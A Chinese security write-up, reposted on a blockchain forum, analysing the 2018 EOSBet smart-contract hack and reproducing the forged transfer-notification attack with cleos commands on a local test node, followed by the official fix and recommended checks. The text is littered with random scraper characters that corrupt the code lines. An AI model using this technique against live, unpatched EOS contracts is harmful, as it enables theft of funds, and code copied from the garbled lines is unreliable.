Hi 游客

更多精彩,请登录!

比特池塘 区块链技术 正文
本文所有过程均在本地测试节点完成
( J3 z6 v$ h) c# C/ w% x文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis
# F( s; F- E- T0x00 背景
. v1 H1 ]+ C+ U/ v0 G5 m8 GEOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。
* X% P( W% \  D
2 P& D/ g4 v+ F+ {! ]# u; A2 s+ ~7 p0x01 技术分析
3 b  R3 ]5 T8 L* s) j' a由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI
4 `8 y* }' m3 G$ O  d0 `// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers8 k; Z3 V4 I2 n! m
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \9 q6 A, s& L/ R
extern "C" { \$ ~. G9 z! c/ X. l/ \- {
        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
0 v1 z& O3 ~; `8 E( s                auto self = receiver; \4 H6 a0 M( o3 A3 V
                if( action == N(onerror)) { \
1 X2 Q$ n  j" L; ?                        /* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \8 ~8 p6 p% j- P% D( z
                        eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
. W: K7 [# {& J9 E% s$ t                } \
0 z. u% q. s( K- M: g$ Q, ]                if( code == self || code == N(eosio.token) || action == N(onerror) ) { \& J* h, M2 Z* J/ N
                        TYPE thiscontract( self ); \
8 M2 I6 I9 e+ V1 }9 X                        switch( action ) { \) Y1 M  _) Q: r, ]
                                EOSIO_API( TYPE, MEMBERS ) \
4 @; F% ]1 ^* I                        } \, J( d: ]! w7 x1 ^
                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \+ g' v* ?2 I, K! `" e% s4 K
                } \5 u1 U. r5 h, i: K2 O8 T8 P; Z6 Q
        } \
, K- X% y  j/ {  m7 a4 A}# V& K3 _. r" U5 p8 Z
通过官方给出的EOSIO_ABI,问题主要出在以下代码
# j+ A  a1 x! z9 {2 ?if( code == self || code == N(eosio.token) || action == N(onerror) ) { \$ _/ p0 k$ T- ]1 O- @
                        TYPE thiscontract( self ); \
. K0 f+ [& Y4 C                        switch( action ) { \
- r+ x2 {1 J+ }/ h) p- g: D                                EOSIO_API( TYPE, MEMBERS ) \; b$ A. i; t  q
                        } \
0 a6 C8 |& b& D7 a  F/ f* O                }
2 [5 }  W) w" s1 A) Z' t该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。
! ]- J( k9 `, g2 c但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。: g! A1 K8 b$ _( ~0 f
黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。
% O1 X( [# j& Q0x02 攻击复盘& b0 q, B) v5 H: |5 I( Z
创建eosio.token账户
* {# C6 {5 Y. J8 Q1 [cleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV( H! S. J4 Y& [
部署eosio.token合约并初始化
: O4 B& b8 K; Y# 部署合约
) C9 U2 g$ h8 W* kcleos set contract eosio.token /home/user/contracts/eosio.token -p eosio
" P6 S% d" P# m) [% `- t3 _9 W# 初始化合约) I4 w: S% H* ^' Q; N
cleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token1 n) l; {& B0 f, F
创建游戏账户、开奖账户和攻击者账户8 {: X+ ?; h# C, S" s3 x
#创建游戏账户和开奖账户
( z6 a) w0 v# Ecleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk! q; F8 f4 O" u; w
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk+ o3 d1 g5 d  {, l2 _4 X
#创建攻击者账户6 ^1 q  r% X1 w% B  T
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
% L5 Q2 c  F) E* P设置账户随机权限和开奖权限( Q' K2 v7 h1 T
#设置权限
: y3 S# B0 J) m7 K1 xcleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner: ^- r( _; Y+ F* r- j
cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner) s8 U9 H6 |( {+ w* }: O3 B. W5 I
#设置开奖权限
. }7 C7 J$ }' `cleos set action permission eosbetcasino eosbetdice11 resolvebet random
3 J; V6 R/ m7 `) O向相关账户冲入代币$ h% r2 e/ g! O# R1 c
#往相关账户充值
# R. o) D6 v" F; |cleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active$ J! T6 H; ^# K9 T# {" g; t
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active7 ]5 x1 N4 u0 X6 Q6 f4 P% O
![4.png]()
$ T+ U, H1 S6 i部署游戏合约并初始化
0 U0 l: `9 c- Q# p$ I#部署游戏合约% T6 e( |9 j/ X" @+ z5 l
cleos set contract eosbetdice11 /home/user/contracts/eosbetdice+ r, S( p" A- a/ e% u% G- j4 e! R) H
#初始化游戏合约
  S) Z- i# L) V1 q0 s6 X! b5 Kcleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino
0 Y4 R& g3 C2 G  H7 j模拟黑客攻击(伪造转账通知)
! F! g* Z  Y9 A. rcleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker
' D" ?) y; K) @. r# j查询游戏订单1 c; j" s$ s* {# X% E( Z
cleos get table eosbetdice11 eosbetdice11 activebets6 w/ B: ^2 \& B! z

7 K; l: t0 @8 U( a4 _( C4 z( v可见,游戏订单已经生成,查询attacker和eosbetdice11账户, f6 Z# `0 r; Q/ v

& D, y! @: A, x  V+ F* g按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。
, |/ X& d" l; ?; R& j8 k) o2 z最后对该订单进行开奖。7 v( X" t% L+ n$ {' V, R! c/ ?! g; N
cleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random7 P! m: ?: F+ U. C2 w- U! q9 ~
3 ^' g1 b  R2 w$ _/ W
总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。
' o  C1 N" k# v- \! T+ D6 F8 m  ^0x03 后记2 ?) m8 D/ G: f! i6 W
EOSBet随后将修复方案公开
9 A; \! @- }% G+ b+ S% N// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers0 ~# u  S# s7 f! e/ @. M: B
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
  _- {" E# R0 X; X% G- \extern "C" { \
+ v# _, E3 v; x6 Z/ Q& J# v        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \4 [& U  R+ {1 m- l6 m1 S1 {3 b
                auto self = receiver; \4 ?+ k8 t% s! C* Y; h
                if( code == self || code == N(eosio.token)) { \3 p0 w% H, j3 j
                        if( action == N(transfer)){ \6 _) y% K& h* V
                                // 必须是eosio.token来调用合约自身的transfer函数3 L, s9 F& M2 K: ~
                                eosio_assert( code == N(eosio.token), "Must transfer EOS"); \6 v* M0 R! ^: H, u2 ]8 m9 y
                        } \- X0 p- {6 G4 |
                        TYPE thiscontract( self ); \
0 M) T8 x& g' {# @, y                        switch( action ) { \1 o5 C0 }5 `" z! G1 _; B# J
                                EOSIO_API( TYPE, MEMBERS ) \
8 _" U& |  ~6 `1 U0 N& `                        } \
& l# S5 `' h! A0 D; T/ f                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \, L) j9 ~; ]5 O! E- C$ w
                } \7 I; ]! [4 U/ u4 B7 E9 {. K
        } \5 {: w9 U7 m* p% M: k/ [
}/ z6 O+ l# D, N" K! B$ Y4 e9 Z
可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D
2 \7 n  e+ X2 W1 D2 A$ z8 X0x04 修复方案6 L2 C) K2 s# R+ v9 ~- k: d
零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:9 s  Z6 b1 ~. r
: P2 F8 `4 H; |! ^  D
通知是否来自eosio.token,即只处理eosio.token发送的通知4 l9 U* }7 Q/ y/ T0 w+ T0 G
eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");+ W! y9 c6 F- h1 H; C
+ F. w- c0 n9 P: A6 x/ S# ~
转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知1 j& O" `  L) V
eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");
BitMere.com 比特池塘系信息发布平台,比特池塘仅提供信息存储空间服务。
声明:该文观点仅代表作者本人,本文不代表比特池塘立场,且不构成建议,请谨慎对待。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

成为第一个吐槽的人

蓝天天使2017 初中生
  • 粉丝

    0

  • 关注

    0

  • 主题

    10